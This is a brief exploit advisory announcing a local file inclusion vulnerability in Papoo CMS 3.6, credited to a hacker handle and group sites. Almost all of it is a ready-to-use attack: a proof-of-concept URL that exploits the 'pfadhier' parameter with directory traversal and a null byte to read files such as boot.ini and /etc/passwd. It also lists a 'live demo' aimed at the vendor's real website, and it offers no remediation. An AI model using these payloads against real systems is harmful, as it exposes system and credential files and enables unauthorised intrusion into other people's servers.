Papoo CMS 3.x (pfadhier) Local File Inclusion Vulnerability

######################################################################################################### [+] Papoo CMS 3.6 Local File Inclusion [+] Discovered By SirGod [+] www.mortal-team.org [+] www.h4cky0u.org [+] www.hellzone.info ######################################################################################################### [+] Script Homepage : http://www.papoo-cms.com/ [+] Local File Inclusion - PoC : http://127.0.0.1/[path]/lib/classes/message_class.php?pfadhier=[Local File]%00 - Example : http://127.0.0.1/path/lib/classes/message_class.php?pfadhier=../../../../../../boot.ini%00 - Live Demo http://www.papoo-cms.com/lib/classes/message_class.php?pfadhier=../../../../../../etc/passwd%00 #########################################################################################################